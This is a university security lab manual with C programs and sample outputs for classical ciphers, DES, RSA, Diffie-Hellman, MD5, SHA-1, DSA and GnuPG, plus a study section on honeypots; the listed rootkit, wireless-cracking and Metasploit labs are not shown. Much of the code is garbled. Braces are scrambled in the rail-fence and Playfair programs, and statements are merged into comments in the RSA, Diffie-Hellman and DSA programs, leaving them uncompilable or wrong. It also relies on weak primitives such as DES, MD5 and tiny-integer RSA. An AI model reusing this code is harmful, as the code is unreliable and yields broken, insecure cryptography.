**List Of Experiments**

1. Implement the following SUBSTITUTION & TRANSPOSITION TECHNIQUES concepts:
   1. Caesar Cipher
   2. Playfair Cipher
   3. Hill Cipher
   4. Vigenere Cipher
   5. Rail fence – row & Column Transformation
2. Implement the following algorithms
   1. DES
   2. RSA Algorithm
   3. Diffiee-Hellman
   4. MD5
   5. SHA-1
3. Implement the SIGNATURE SCHEME – Digital Signature Standard
4. Demonstrate how to provide secure data storage, secure data transmission and for creating digital signatures (GnuPG).
5. Setup a honey pot and monitor the honeypot on network (KF Sensor)
6. Installation of rootkits and study about the variety of options
7. Perform wireless audit on an access point or a router and decrypt WEP and WPA.( Net Stumbler)
8. Demonstrate intrusion detection system (ids) using any tool (snort or any other s/w)

**LAB PLAN**

|  |  |  |  |  |
| --- | --- | --- | --- | --- |
| **Sl.No** | **Date** | **Name of the Experiment** | **Batch-1** | **Batch-2** |
| **1** |  | CAESAR CIPHER |  |  |
| **2** |  | VIGENERE CIPHER |  |  |
| **3** |  | HILL CIPHER |  |  |
| **4** |  | PLAYFAIR CIPHER |  |  |
| **5** |  | RAIL FENCE – ROW & COLUMN TRANSFORMATION |  |  |
| **6** |  | DES |  |  |
| **7** |  | RSA ALGORITHM |  |  |
| **8** |  | DIFFIEE-HELLMAN |  |  |
| **9** |  | MD5 |  |  |
| **10** |  | SHA-1 |  |  |
| **11** |  | DIGITAL SIGNATURE STANDARD(DSA) |  |  |
| **12** |  | TO PROVIDE SECURE DATA STORAGE, SECURE DATA TRANSMISSION AND FOR CREATING DIGITAL SIGNATURES (GNUPG). |  |  |
| **13(A)** |  | STUDY OF HONEY POTS |  |  |
| **13(B)** |  | HONEY POTS |  |  |
| **14(A)** |  | STUDY OF KALI LINUX DISTRIBUTION |  |  |
| **14(B)** |  | WIRELESS AUDIT |  |  |
| **15** |  | SNORT IDS |  |  |
| **16(A)** |  | STUDY OF ROOT KITS |  |  |
| **16(B)** |  | ROOT KIT INSTALLATION |  |  |
| **17(A)** |  | STUDY OF SECURITY TOOLS |  |  |
| **17(B)** |  | METASPLOIT FRAMEWORK |  |  |
|  |  |  |  |  |

**LAB MANUAL**

**Ex. No.: 1** **Date:**

**CAESAR CIPHER**

**Aim:**

To implement Caesar Cipher technique using C.

**Algorithm:**

1. Declare two arrays to store plaintext and ciphertext
2. Prompt the user to enter plaintext
3. Loop till the end-of line marker comes
   1. get one plaintext character & put the same in plaintext[] array and increment i
   2. apply caesar 3 key shift cipher on the character and store in ciphertext[] array and increment x.
4. Print the ciphertext

**Program Code:**

#include <stdio.h> #include <stdlib.h> #include <unistd.h> int encrypt();

int decrypt();

char plaintext[50]={0},ciphertext[50]={0}; int c,d;

int main()

{

int option; do

{

printf("Press 1 to Encrypt Plaintext \n"); printf("Press 2 to Decrypt Ciphertext \n"); printf("Press 9 to Exit \n");

printf("Your option="); scanf("%d",&option); switch(option)

{

case 1: encrypt();

printf("Ciphertext : %s \n",ciphertext); break;

case 2: decrypt();

printf("Plaintext : %s \n",plaintext); break;

case 9: break;

default: printf("Enter valid option! \n");

}

}while(option!=9); return 0;

}

int encrypt()

{

static int i=0,j=0; printf("\nPlaintext : ");getchar(); while((c=getchar()) != '\n')

{

plaintext[i++]=(char)c;

ciphertext[j++]=(char)(c+3);

}

return 0;

}

int decrypt()

{

static int p=0,q=0; printf("\nCiphertext : ");getchar();

while((d=getchar()) != '\n')

{

ciphertext[p++]=(char)d; plaintext[q++]=(char)(d-3);

}

return 0;

}

**Output:**

[root@localhost security lab]# **gcc caesar.c** [root@localhost security lab]# **./a.out** Press 1 to Encrypt Plaintext

Press 2 to Decrypt Ciphertext Press 9 to Exit

Your option=1

Plaintext : INDIA

Ciphertext : LQGLD

Press 1 to Encrypt Plaintext

Press 2 to Decrypt Ciphertext

Press 9 to Exit

Your option=2

Ciphertext : LQGLD Plaintext : INDIA [root@localhost security lab]#

**Result:**

**Ex. No.: 2 Date: RAIL-FENCE**

**Aim:**

To implement Rail-Fence Cipher technique using C.

**Algorithm:**

1. Get the plaintext string from the user.

2. Take the string length of the plaintext.

3. Remove whitespaces from the string.

4. For each plaintext character do - a. If ch % 2 == 0 put in a[] array b. Else put in b[] array

5. Take each character in a[] array and put in s[] array and increment the index.

6. After all characters in a[] array are copied, then copy each character from b[] array and put into s[] array and increment the index.

7. Print the contents of s[] array to get ciphertext.

**Program Code:**

#include<stdio.h>

#include<string.h>

void main()

{

int i,j,k=0,l=0,m=0,n,count=0;

char str[20],s[20],a[10],b[10];

printf("PLAIN TEXT : ");

scanf("%[^\n]s",str); //it sets the delimiter for the scanned string as \n n=strlen(str);

//Whitespace removal from string for (i = 0; i<n; i++)

if (str[i] != ' ')

s[count++] = str[i];

//Transposition n=strlen(s); for(i=0;i<n;i++)

{

if(i%2==0)

{

a[k]=s[i];

k++;

}

else

{

}

}

b[l]=s[i];

l++;

//Display section for(i=0;i<k;i++)

{

printf("%c ",a[i]); //Row 1 print s[m]=a[i];

m++;

}

printf("\n");

for(i=0;i<l;i++)

{

printf(" %c",b[i]); //Row 2 print s[m]=b[i];

m++;

}

printf("\n\nCIPHER TEXT : %s",s);

getchar();

}

**Output:**

[[root@localhost](mailto:root@localhost) security lab]# **gcc railfence.c**

[[root@localhost](mailto:root@localhost) security lab]# **./a.out**

PLAIN TEXT : INDIA IS MY COUNTRY I D A S Y O N R

N I I M C U T Y

CIPHER TEXT : IDASYONRNIIMCUTY [[root@localhost](mailto:root@localhost) security lab]#

**Result:**

**Ex. No.: 3 Date: VIGNERE CIPHER**

**Aim:**

To implement Vignere Cipher technique using C.

**Algorithm:**

1. Get the length of the key from the user.

2. Get the length of the plaintext from the user.

3. Next get the plaintext string from the user.

4 For each plaintext character do ch mod 65 or ch mod 97 and store result in s[] array.

5. For each value store in s[] array, take ch mod 26 and add the value to 65 & store in cipher[] array.

6. Print the contents of the cipher[] array to get ciphertext for the given plaintext.

**Program Code:**

//This program works for plaintext and keyword entered in Capital Letter only

#include<stdio.h>

#include<string.h>

#include<stdlib.h>

char plaintext[20],keyword[20],ciphertext[20];

void encrypt();

void main()

{

int i,j=0,n,k;

printf("\nEnter the plaintext : "); scanf("%s",plaintext); n=strlen(plaintext); printf("\nEnter the keyword : "); scanf("%s",keyword); k=strlen(keyword);

if(n>k)

{

for(i=k;i<n;i++)

{

keyword[i]=keyword[j]; //fill the keyword till the size of plaintext j++;

}

}

encrypt(n);

printf("Ciphertext: %s\n",ciphertext);

}

void encrypt(int count)

{

int i,sum;

for(i=0;i<count;i++)

{

sum= plaintext[i]+keyword[i];

if(sum<130||sum>180)

{

printf("\nEnter input in CAPS only \n");

exit(0);

}

else ciphertext[i]= (sum % 26) + 65;

}

}

**Output:**

[[root@localhost](mailto:root@localhost) security lab]# gcc bensvignere.c

[[root@localhost](mailto:root@localhost) security lab]# ./a.out

Enter the plaintext : WEAREDISCOVEREDSAVEYOURSELF Enter the keyword : DECEPTIVE

Ciphertext: ZICVTWQNGRZGVTWAVZHCCMEZIPY [[root@localhost](mailto:root@localhost) security lab]#

**Result:**

**Ex. No.: 4 Date: HILL CIPHER**

**Aim:**

To implement Hill Cipher technique using C.

**Algorithm:**

1. Store the 3x3 matrix contents for the encryption key k in an array a.

2. Store the 3x3 matrix contents of key inverse k-1

3. Get the plaintext message from the user.

4. Compute the length of the plaintext message.

5. For each character of plaintext message's ascii value is subtracted with 65 & store in array c

6. For each element in array c, multiply arrays c & a a. Store result in t.

b. Take t mod 26 and store in array d

7. Add array element d value and 65 and print the corresponding ciphertext character.

**Program Code:**

#include<stdio.h>

#include<string.h>

int check(int );

void calc(int );

//a[][] denotes encryption key K

//b[][] denotes K inverse

unsigned int a[3][3]={{17,17,5},{21,18,21},{2,2,19}}; unsigned int b[3][3]={{4,9,15},{15,17,6},{24,0,17}}; unsigned int c[20],d[20];

int n;

int main()

{

int i=0,t=0,j,q;

char msg[20];

printf("\nEnter plain text\n"); scanf("%s",msg); n=strlen(msg);

q=check(n);

if(q==1) return 0;

else

{

for(i=0;i<n;i++)

{

c[i]=msg[i]-65;

printf("%d ",c[i]);

}

while(t<n)

{

calc(t);

t=t+3;

}

printf("\nEncrypted Cipher Text :");

for(i=0;i<n;i++)

printf(" %c",d[i]+65);

for(i=0;i<3;i++)

{

t=0;

for(j=0;j<3;j++)

{

t=t+(d[j]\*b[j][i]);

}

c[i]=t%26;

}

printf("\nDecrypted Cipher Text :");

for(i=0;i<n;i++)

printf(" %c",c[i]+65);

printf("\n");

}

return 0;

}

void calc(int k)

{

int i,j,t;

for(i=0;i<3;i++)

{

t=0;

for(j=0;j<3;j++)

{

t=t+(c[j+k]\*a[j][i]);

}

d[i+k]=t%26;

}

}

int check(int p)

{

if(n%3!=0)

{

printf("\nEnter Plaintext in multiples of three \n");

return 1;

}

else return 0;

}

**Output:**

[[root@localhost](mailto:root@localhost) security lab]# gcc hillfinal.c

[[root@localhost](mailto:root@localhost) security lab]# ./a.out

Enter plain text

PAYMOREMONEY

15 0 24 12 14 17 4 12 14 13 4 24

Encrypted Cipher Text : R R L M W B K A S P D H Decrypted Cipher Text : P A Y M O R E M O N E Y [[root@localhost](mailto:root@localhost) security lab]#

**Result:**

**Ex. No.: 5 Date: PLAYFAIR CIPHER**

**Aim:**

To implement Playfair Cipher technique using C.

**Algorithm:**

1. Initialize the contents of the matrix.

2. Get the keyword and plaintext from the user.

3. Insert the keyword into the matrix except duplicate elements.

4. If I & J are encountered in the keyword then fill both in the same location in matrix.

5. Fill the remaining entries of the matrix with the character not already entered into it.

6. If the plaintext has an odd number of characters, append an 'x' to the end to make it even.

7. Break the plaintext into pairs of letters.

8. Locate the letters in the key matrix using the rules and encrypt with letters from matrix- a. If the letters appear on the same row of the table, replace them with the letters to their

immediate right

b. If the letters appear on the same column of the table, replace them with the letters immediately below

c. If the letters are in different rows and columns, replace the pair with the letters on the same row.

d. If two letters are same then use filler x in place of one letter.

9. Display the encrypted text

**Program Code:**

#include<stdio.h>

#include<string.h> void initialize(); void fillMatrix();

void fillRemaining(int); void displayMatrix(); void encrypt();

void searchMatrix(int,int);

char matrix[5][5],keyword[25],plaintext[25],ciphertext[25],flag[26];

int row,col,row1,col1,row2,col2;

void main()

{

initialize();

printf("\nEnter Keyword: "); scanf("%s",keyword); printf("\nEnter Plaintext:"); scanf("%s",plaintext); fillMatrix();

encrypt();

displayMatrix();

printf("\nCiphertext: %s \n",ciphertext);

}

void initialize()

{

int i,j;

for(i=0;i<26;i++)

flag[i]=0;

for(i=0;i<5;i++)

for(j=0;j<5;j++)

matrix[i][j]=0;

}

void fillMatrix()

{

int k=0,i,j,p,m=0,n,val;

flag[9]=1; //since J is put in I n=strlen(keyword); for(i=0;i<5;i++)

{

for(j=0;j<5;j++)

{

b: if(k<n)

{

val=keyword[k]-65;

if(flag[val]==0)

{

}

else

{

}

}

}

}

else

{

}

col=j;

goto c;

matrix[i][j]=keyword[k];

flag[val]=1;k++;

k++;

goto b;

c: row=i;

while(m<26)

{

if(flag[m]==0)

fillRemaining(m);

m++;

}

}

void fillRemaining(int m)

{

if(row<5)

{

if(col<5)

{ matrix[row][col]=m+65;

}

col++;

}

}

else

{

}

col=0; row++; matrix[row][col]=m+65;

void encrypt()

{

int psize,i=0,j=1;

psize=strlen(plaintext);

if(psize%2!=0) //Adding filler character X since plaintext is odd in size strcat(plaintext,"X");

while(j<=psize)

{

searchMatrix(i,j);

if(row1==row2) //same row plaintext elements

{

same character

if(plaintext[i]==plaintext[j]) //Adding $ if two plaintext elements refer to

{

ciphertext[i]=matrix[row1][(col1+1)%5];

ciphertext[j]='$';

}

else

{

}

}

ciphertext[i]= matrix[row1][(col1+1)%5];

ciphertext[j]= matrix[row2][(col2+1)%5];

else if(col1==col2) //same col plaintext elements

{

ciphertext[i]= matrix[(row1+1)%5][col1];

ciphertext[j]= matrix[(row2+1)%5][col2];

}

else // different row and different col plaintext elements

{

}

i+=2;

ciphertext[i]= matrix[row1][col2];

ciphertext[j]= matrix[row2][col1];

j+=2;printf("\n");

}

}

void searchMatrix(int i,int j)

{

int r,t,foundRow,foundCol;

for(r=0;r<5;r++)

{

for(t=0;t<5;t++)

{

if(plaintext[i]==matrix[r][t])

{

row1=r;col1=t;

foundRow=1;

}

if(plaintext[j]==matrix[r][t])

{

row2=r;col2=t;

foundCol=1;

}

}

if((foundRow==1)&&(foundCol==1))

break;

}

}

void displayMatrix()

{

int i,j; printf("\n"); for(i=0;i<5;i++)

{

for(j=0;j<5;j++)

printf("%c ",matrix[i][j]);

printf("\n");

}

}

**Output:**

[[root@localhost](mailto:root@localhost) security lab]# gcc playfair.c

[[root@localhost](mailto:root@localhost) security lab]# ./a.out

Enter Keyword: MONARCHY Enter Plaintext:INDIA

M O N A R C H Y B D E F G I K

L P Q S T

U V W X Z Ciphertext: GABKBA

**Result:**

**Ex. No.: 6 Date:**

**Aim:**

**DES**

To implement DES symmetric cipher technique using openssl library in C.

**Algorithm:**

1. Initialize the value of the key and the plaintext.

2. Allocate memory for plaintext and key.

3. Print the hexadecimal value of the plaintext

4. Print the hexadecimal value of the key

5. Prepare the key for use with DES\_cfb64\_encrypt

6. Set the parity of the key passed to odd using DES\_set\_odd\_parity( ).

7. Check the passed key is weak by using DES\_set\_key\_checked( ).

8. Encrypt the message in Cipher Feedback Mode using DES\_cfb64\_encrypt( ).

9. Print the obtained cipher text message.

10.Decrypt the ciphert text using DES\_cfb64\_decrypt( ).

11.Print the obtained plain text message.

**Program Code:**

#include <stdio.h>

#include <unistd.h>

#include <string.h>

#include <openssl/des.h>

char \*Encrypt( char \*Key, char \*Msg, int size)

{

static char\* Res; int n=0; DES\_cblock Key2;

DES\_key\_schedule schedule; Res = ( char \* ) malloc( size );

/\* Prepare the key for use with DES\_cfb64\_encrypt \*/

memcpy( Key2, Key,8); DES\_set\_odd\_parity( &Key2 ); DES\_set\_key\_checked( &Key2, &schedule );

/\* Encryption occurs here \*/

DES\_cfb64\_encrypt( ( unsigned char \* ) Msg, ( unsigned char \* ) Res,size, &schedule,

&Key2, &n, DES\_ENCRYPT );

return (Res);

}

char \*Decrypt( char \*Key, char \*Msg, int size)

{

static char\* Res; int n=0; DES\_cblock Key2;

DES\_key\_schedule schedule; Res = ( char \* ) malloc( size );

/\* Prepare the key for use with DES\_cfb64\_encrypt \*/

memcpy( Key2, Key,8); DES\_set\_odd\_parity( &Key2 ); DES\_set\_key\_checked( &Key2, &schedule );

/\* Decryption occurs here \*/

DES\_cfb64\_encrypt( ( unsigned char \* ) Msg, ( unsigned char \* ) Res,size, &schedule,

&Key2, &n, DES\_DECRYPT );

return (Res);

}

int main()

{

char key[]="BENEDICT";

char plaintext[]="ENJOYCNS";

char \*decrypted; char \*encrypted; encrypted=malloc(sizeof(plaintext)); decrypted=malloc(sizeof(plaintext)); printf("\nPlaintext\t\t\t : %s",plaintext); printf("\nPlaintext in Hex Code \t\t : %X",plaintext); printf("\nKey in Hex Code \t\t : %X",key);

memcpy(encrypted,Encrypt(key,plaintext,sizeof(plaintext)), sizeof(plaintext)); printf("\nEncrypted Text\t\t\t : %s",encrypted); memcpy(decrypted,Decrypt(key,encrypted,sizeof(plaintext)), sizeof(plaintext)); printf("\nDecrypted Text\t\t\t : %s",decrypted);

printf("\nDecrypted Text in Hex Code \t : %X \n",decrypted);

return (0);

}

**Output:**

[[root@localhost](mailto:root@localhost) security lab]# **gcc desopen.c -lssl -lcrypto**

[[root@localhost](mailto:root@localhost) security lab]# **./a.out**

Plaintext : ENJOYCNS Plaintext in Hex Code : BFD28266

Key in Hex Code : BFD2826F Encrypted Text : ����{S��S Decrypted Text : ENJOYCNS Decrypted Text in Hex Code : 848D030 [[root@localhost](mailto:root@localhost) security lab]#

**Result:**

**Ex. No.: 7 Date: RSA**

**Aim:**

To implement RSA asymmetric key cryptosystem using C.

**Algorithm:**

1. Select two large prime numbers p and q

2. Compute n=pxq

3. Choose system modulus: Ø(n)=(p-1)x(q-1)

4. Select a random encryption key e such that gcd(e,Ø(n)=1

5. Decrypt by computing d=1 mod Ø(n)

6. Print the public key{e,n}

7. Print the private key{d,n}

**Program Code:**

#include <stdio.h>

#include <math.h>

int power(int,unsigned int,int);

int gcd(int,int);

int multiplicativeInverse(int,int,int);

int main()

{

int p,q,n,e,d,phi,M,C;

printf("\nEnter two prime numbers p and q that are not equal : ");

scanf("%d %d",&p,&q);

n = p \* q;

phi = (p - 1)\*(q - 1); printf("Phi(%d) = %d",n,phi); printf("\nEnter the integer e : "); scanf("%d",&e);

if(e >= 1 && e < phi)

{

if(gcd(phi,e)!=1)

{

printf("\nChoose proper value for e !!!\n");

return 1;

}

}

//Key Generation

d = multiplicativeInverse(e,phi,n);

printf("\nPublic Key PU = {%d,%d}",e,n);

printf("\nPrivate Key PR = {%d,%d}",d,n);

//Encryption printf("\nMessage M = "); scanf("%d",&M);

C = power(M,e,n);

printf("\nCiphertext C = %d \n",C);

//Decryption

M = power(C,d,n);

printf("\nDecrypted Message M = %d \n",M);

return 0;

}

int power(int x, unsigned int y, int p)

{

int res = 1; // Initialize result

x = x % p; // Update x if it is more than or equal to p while (y > 0)

{

// If y is odd, multiply x with result if (y & 1)

res = (res\*x) % p;

// y must be even now y = y>>1; // y = y/2 x = (x\*x) % p;

}

return res;

}

int gcd ( int a, int b )

{

int c;

while ( a != 0 )

{

c = a;

a = b % a;

b = c;

}

return b;

}

int multiplicativeInverse(int a, int b, int n)

{

int sum,x,y;

for(y=0;y<n;y++)

{

for(x=0;x<n;x++)

{

sum=a\*x + b\*(-y);

if(sum==1)

return x;

}

}

}

**Output:**

[[root@localhost](mailto:root@localhost) security lab]# **gcc rsaben.c**

[[root@localhost](mailto:root@localhost) security lab]# **./a.out**

Enter two prime numbers p and q that are not equal : 17 11

Phi(187) = 160

Enter the integer e : 7

Public Key PU = {7,187} Private Key PR = {23,187} Message M = 88

Ciphertext C = 11

Decrypted Message M = 88 [[root@localhost](mailto:root@localhost) security lab]#

**Result:**

**Ex. No.: 8 Date: DIFFIE-HELLMAN KEY EXCHANGE**

**Aim:**

To implement Diffie-Hellman key exchange using C.

**Algorithm:**

1. Get a prime number q as input from the user.

2. Get a value xa and xb which is less than q.

3. Calculate primitive root α

4. For each user A, generate a key Xa < q

5. Compute public key, α pow(Xa) mod q

6. Each user computes Ya

7. Print the values of exchanged keys.

**Program Code:**

//This program uses fast exponentiation function power instead of pow library function

#include <stdio.h>

#include <math.h>

int power( int,unsigned int,int);

int main()

{

int x,y,z,count,ai[20][20];

int alpha,xa,xb,ya,yb,ka,kb,q;

printf("\nEnter a Prime Number \"q\":");

scanf("%d",&q);

printf("\nEnter a No \"xa\" which is less than value of q:");

scanf("%d",&xa);

printf("\nEnter a No \"xb\" which is less than value of q:");

scanf("%d",&xb); printf("\nEnter alpha:"); scanf("%d",&alpha);

ya = power(alpha,xa,q); yb = power(alpha,xb,q); ka = power(yb,xa,q);

kb = power(ya,xb,q);

printf("\nya = %d \nyb = %d \nka = %d \nkb = %d \n",ya,yb,ka,kb);

if(ka == kb)

printf("\nThe secret keys generated by User A and User B are same\n");

else

printf("\nThe secret keys generated by User A and User B are not same\n");

return 0;

}

int power(int x, unsigned int y, int p)

{

int res = 1; // Initialize result

x = x % p; // Update x if it is more than or equal to p while (y > 0)

{

// If y is odd, multiply x with result if (y & 1)

res = (res\*x) % p;

// y must be even now y = y>>1; // y = y/2 x = (x\*x) % p;

}

return res;

}

**Output:**

[[root@localhost](mailto:root@localhost) security lab]# gcc diffie-hellman.c

[[root@localhost](mailto:root@localhost) security lab]# ./a.out

Enter a Prime Number "q":353

Enter a No "xa" which is less than value of q:97

Enter a No "xb" which is less than value of q:233

Enter alpha:3 ya = 40

yb = 248 ka = 160 kb = 160

The secret keys generated by User A and User B are same

**Result:**

**Ex. No.: 9 Date: MD5**

**Aim:**

To implement MD5 hash technique using openssl library in C.

**Algorithm:**

1. Get the value of string from command line argument.

2. Initialize the digest table.

3. Use EVP\_get\_digestbyname function and pass on the argument MD5

4. Initialize digest context.

5. Use digestUpdate() function to hash bytes of data at d into the digest contexts

6. Use EVP\_DigestFinal\_ex() function to retrieve the digest value from ctx and places in md.

7. Cleanup the digest context ctx.

8. Print the value of digest computed.

**Program Code:**

#include <stdio.h>

#include <string.h>

#include <openssl/evp.h>

void main(int argc, char \*argv[])

{

EVP\_MD\_CTX mdctx; const EVP\_MD \*md; char input[80];

unsigned char output[EVP\_MAX\_MD\_SIZE];

int output\_len, i;

strcpy(input,argv[1]);

/\* Initialize digests table \*/ OpenSSL\_add\_all\_digests();

/\* You can pass the name of another algorithm supported by your version of OpenSSL here \*/

/\* For instance, MD2, MD4, SHA1, RIPEMD160 etc. Check the OpenSSL documentation for details \*/

md = EVP\_get\_digestbyname("MD5");

if(!md) {

printf("Unable to init MD5 digest\n");

exit(1);

}

EVP\_MD\_CTX\_init(&mdctx); EVP\_DigestInit\_ex(&mdctx, md, NULL); EVP\_DigestUpdate(&mdctx, input, strlen(input));

/\* to add more data to hash, place additional calls to EVP\_DigestUpdate here \*/ EVP\_DigestFinal\_ex(&mdctx, output, &output\_len); EVP\_MD\_CTX\_cleanup(&mdctx);

/\* Now output contains the hash value, output\_len contains length of output, which is 128 bit or

16 byte in case of MD5 \*/

printf("Digest is: ");

for(i = 0; i < output\_len; i++) printf("%02x", output[i]);

printf("\n");

}

**Output:**

[[root@localhost](mailto:root@localhost) security lab]# **gcc md5final.c -lssl -lcrypto**

[[root@localhost](mailto:root@localhost) security lab]# **./a.out REC** Digest is: d6d269952320c4fb5e50f278c94a098c [[root@localhost](mailto:root@localhost) security lab]#

**Result:**

**Ex. No.: 10 Date: SHA-1**

**Aim:**

To implement SHA-1 hash technique using openssl library in C.

**Algorithm:**

1. Get the input string from command line arguments.

2. Check if the number of arguments is not equal to 2. If so print error and return.

3. Generate hash string for argv[1] by passing it to sha1 function.

4. The value returned is stored in temp variable.

5. Loop through the contents of temp and put into buf variable.

6. Print the contents of buf variable.

**Program Code:**

#include <stdio.h>

#include <string.h>

#include <openssl/sha.h>

int main(int argn, char \*argv[]) {

int i = 0;

unsigned char temp[SHA\_DIGEST\_LENGTH];

char buf[SHA\_DIGEST\_LENGTH\*2];

if ( argn != 2 ) {

printf("Usage: %s string\n", argv[0]);

return -1;

}

memset(buf, 0x0, SHA\_DIGEST\_LENGTH\*2);

memset(temp, 0x0, SHA\_DIGEST\_LENGTH); SHA1((unsigned char \*)argv[1], strlen(argv[1]), temp);

for (i=0; i < SHA\_DIGEST\_LENGTH; i++) {

sprintf((char\*)&(buf[i\*2]), "%02x", temp[i]);

}

printf("SHA1 of %s is %s\n", argv[1], buf);

return 0;

}

**Output:**

[[root@localhost](mailto:root@localhost) security lab]# **gcc sha1.c -lssl -lcrypto**

[[root@localhost](mailto:root@localhost) security lab]# **./a.out REC**

SHA1 of REC is 09ebb92a1478021f08e37a2ffe4ce10e8ced419f

[[root@localhost](mailto:root@localhost) security lab]#

**Result:**

**Ex. No.: 11 Date: DSA**

**Aim:**

To implement Digital Signature Algorithm(DSA) using C.

**Algorithm:**

1. Get the prime number p and its divisor q from the user.

2. Get the value of h from the user.

3. Compute the value of g.

4. Get the private key xa from the user.

5. Compute the user's public key y.

6. Get the per-message secret key k and hash value of message M.

7. Compute the value of z using g, k & p

8. Compute z % q to get the value of r

9. Compute the multiplicative inverse.

10.Compute the value of s.

11. Print the signature (r, s).

**Program Code:**

#include <stdio.h>

#include <math.h>

int power(int,unsigned int,int);

int multiplicativeInverse(int,int,int);

int main()

{

int p,q,h,g,r,s,t,x,y,z,k,inv,hash;

printf("\nEnter prime number p and enter q prime divisor of (p-1): ");

scanf("%d %d",&p,&q);

printf("\nEnter h such that it greater than 1 and less than (p-1): ");

scanf("%d",&h);

//Compute g t = (p-1)/q;

g = power(h,t,p);

printf("\nEnter user's private key such that it is greater than 0 and less than q : ");

scanf("%d",&x);

//Computer user's public key y = power(g,x,p);

printf("\nEnter user's per-message secret key k such that it is greater than 0 and less than q : ");

scanf("%d",&k);

printf("\nEnter the hash(M) value : ");

scanf("%d",&hash);

//Signing. Compute r and s pair z = power(g,k,p);

r = z % q;

inv = multiplicativeInverse(k,q,p);

s = inv \* (hash + x \* r) % q;

//Display

printf("\n\*\*\*\*\*\*\*\*\*Computed Values\*\*\*\*\*\*\*\*\*");

printf("\ng = %d",g);

printf("\ny = %d",y);

printf("\nGenerated Signature Sender = (%d, %d) \n",r,s);

}

int power(int x, unsigned int y, int p)

{

int res = 1; // Initialize result

x = x % p; // Update x if it is more than or equal to p while (y > 0)

{

// If y is odd, multiply x with result if (y & 1)

res = (res \* x) % p;

// y must be even now

y = y >> 1; // y = y/2 x = (x \* x) % p;

}

return res;

}

int multiplicativeInverse(int a, int b, int n)

{

int sum,x,y;

for(y=0;y<n;y++)

{

for(x=0;x<n;x++)

{

sum = a \* x + b \* (-y);

if(sum == 1)

return x;

}

}

}

**Output:**

[[root@localhost](mailto:root@localhost) security lab]# **gcc dsa.c**

[[root@localhost](mailto:root@localhost) security lab]# **./a.out**

Enter prime number p and enter q prime divisor of (p-1): 1279 71

Enter h such that it greater than 1 and less than (p-1): 3

Enter user's private key such that it is greater than 0 and less than q : 15

Enter user's per-message secret key k such that it is greater than 0 and less than q : 10

Enter the hash(M) value : 123

\*\*\*\*\*\*\*\*\*Computed Values\*\*\*\*\*\*\*\*\*

g = 1157 y = 851

Generated Signature Sender = ( 32, 39) [[root@localhost](mailto:root@localhost) security lab]#

**Result:**

**Ex. No.: 12 Date: GNUPG**

**Aim:**

To do a secure data transmission using GnuPG.

**Basic Workflow:**

In order to encrypt the file the sender should have a private open key of the person to whom the file is going to be sent. The open key is used by the sender to encrypt the data and cannot be used to decrypt it. The receiver can decrypt the file using his private secret key and a passphrase.

**Algorithm:**

1. Install GnuPG

2. Generate public key and private key

a. Select the algorithm for keys to be generated(RSA/DSA)

b. Set the keysize between 1024 to 4096. c. Set validity of the key in terms of days. d. Enter your name, email and comments.

e. Enter a secure passphrase to generate the keys finally.

3. Create a revocation certificate.

4. Import public key of receiver

5. Encrypt the data file with the option -r

6. Decrypt the encrypted data file at the receiver with option -d

**Output:**

[[root@localhost](mailto:root@localhost) rkhunter-1.4.2]# yum install gnupg

[[root@localhost](mailto:root@localhost) rkhunter-1.4.2]# gpg --gen-key

gpg (GnuPG) 1.4.19; Copyright (C) 2015 Free Software Foundation, Inc. This is free software: you are free to change and redistribute it.

There is NO WARRANTY, to the extent permitted by law.

gpg: keyring `/root/.gnupg/secring.gpg' created gpg: keyring `/root/.gnupg/pubring.gpg' created Please select what kind of key you want:

(1) RSA and RSA (default) (2) DSA and Elgamal

(3) DSA (sign only) (4) RSA (sign only)

Your selection? 1

RSA keys may be between 1024 and 4096 bits long. What keysize do you want? (2048)

Requested keysize is 2048 bits

Please specify how long the key should be valid.

0 = key does not expire

<n> = key expires in n days

<n>w = key expires in n weeks

<n>m = key expires in n months

<n>y = key expires in n years

Key is valid for? (0) 100

Key expires at Sat 24 Sep 2016 07:39:58 PM IST Is this correct? (y/N) y

You need a user ID to identify your key; the software constructs the user ID

from the Real Name, Comment and Email Address in this form: "Heinrich Heine (Der Dichter) [<heinrichh@duesseldorf.de>"](mailto:heinrichh@duesseldorf.de)

Real name: Ben

Name must be at least 5 characters long

Real name: Benedict

Email address: benedict[.jn@rajalakshmi.edu.in](mailto:jn@rajalakshmi.edu.in)

Comment: Message

You selected this USER-ID:

"Benedict (Message) <benedict[.jn@rajalakshmi.edu.in>"](mailto:jn@rajalakshmi.edu.in)

Change (N)ame, (C)omment, (E)mail or (O)kay/(Q)uit? O You need a Passphrase to protect your secret key.

[[root@localhost](mailto:root@localhost) ~]# gpg --gen-revoke benedict[.jn@rajalakshmi.edu.in](mailto:jn@rajalakshmi.edu.in) [[root@localhost](mailto:root@localhost) ~]# gpg -r benedict[.jn@rajalakshmi.edu.in](mailto:jn@rajalakshmi.edu.in) topSecret.txt [[root@localhost](mailto:root@localhost) ~]# gpg -o topSecret.txt -d topSecret.txt.gpg

**Result:**

**Ex. No.: 13a Date: STUDY OF HONEYPOTS**

**Aim:**

To study the concept of honeypots and it's types.

**Description:**

A honeypot is a deception trap, designed to entice an attacker into attempting to compromise the information systems in an organisation. If deployed correctly, a honeypot can serve as an early-warning and advanced security surveillance tool, minimizing the risks from attacks on IT systems and networks. Honeypots can also analyze the ways in which attackers try to compromise an information system, providing valuable insight into potential system loopholes.

**Types of Honeypots:**

Honeypots can be classified based on their deployment (use/action) and based on their level of involvement. Based on deployment, honeypots may be classified as: production honeypots and research honeypots.

**Production honeypots** are easy to use, capture only limited information, and are used primarily by companies or corporations. Production honeypots are placed inside the production network with other production servers by an organization to improve their overall state of security. Normally, production honeypots are low-interaction honeypots, which are easier to deploy. They give less information about the attacks or attackers than research honeypots.

**Research honeypots** gather information about the motives and tactics of the Black hat community targeting different networks. Based on design criteria, it can be classified as- a) Pure honeypots b) high-interaction honeypots c) low-interaction honeypots.

**Pure honeypots** are full-fledged production systems. The activities of the attacker are monitored by using a casual tap that has been installed on the honeypot's link to the network. No other software needs to be installed. Even though a pure honeypot is useful, stealthiness of the defense mechanisms can be ensured by a more controlled mechanism.

**High-interaction honeypots** imitate the activities of the production systems that host a variety of services and, therefore, an attacker may be allowed a lot of services to waste his time. By employing virtual machines, multiple honeypots can be hosted on a single physical machine. Therefore, even if the honeypot is compromised, it can be restored more quickly. In general, high- interaction honeypots provide more security by being difficult to detect, but they are expensive to maintain. If virtual machines are not available, one physical computer must be maintained for each honeypot, which can be exorbitantly expensive. Example: Honeynet.

